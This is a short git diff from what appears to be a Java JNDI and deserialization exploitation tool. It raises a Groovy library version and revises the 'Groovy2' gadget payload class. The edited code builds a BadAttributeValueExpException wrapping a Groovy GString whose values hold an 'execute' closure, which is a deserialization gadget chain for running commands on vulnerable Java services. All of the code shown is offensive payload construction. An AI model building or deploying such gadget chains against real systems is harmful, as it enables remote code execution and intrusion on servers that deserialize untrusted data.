diff --git a/gradle/libs.versions.toml b/gradle/libs.versions.toml index 6b78537..4b90e70 100644 --- a/gradle/libs.versions.toml +++ b/gradle/libs.versions.toml @@ -41,7 +41,7 @@ org-apache-wicket-wicket-util = "6.23.0" org-aspectj-aspectjweaver = "1.9.7" org-beanshell-bsh = "2.0b5" org-clojure-clojure = "1.8.0" -org-codehaus-groovy-groovy = "2.4.3" +org-codehaus-groovy-groovy = "2.4.5" org-eclipse-jetty-jetty-ant = "11.0.7" org-fusesource-jansi-jansi = "2.4.0" org-glassfish-tyrus-tyrus-server = "2.0.0" diff --git a/src/main/java/com/qi4l/jndi/gadgets/Groovy2.java b/src/main/java/com/qi4l/jndi/gadgets/Groovy2.java index eaef45e..b70d4b9 100644 --- a/src/main/java/com/qi4l/jndi/gadgets/Groovy2.java +++ b/src/main/java/com/qi4l/jndi/gadgets/Groovy2.java @@ -25,9 +25,8 @@ public class Groovy2 implements ObjectPayload { Reflections.setFieldValue(execute,"maximumNumberOfParameters",0); } BadAttributeValueExpException val = new BadAttributeValueExpException(null); - Field valfield = val.getClass().getDeclaredField("val"); - valfield.setAccessible(true); - valfield.set(val, gString); + Reflections.setFieldValue(val,"val",gString); + Reflections.setFieldValue(gString,"values",(new Object[]{execute})); return val; }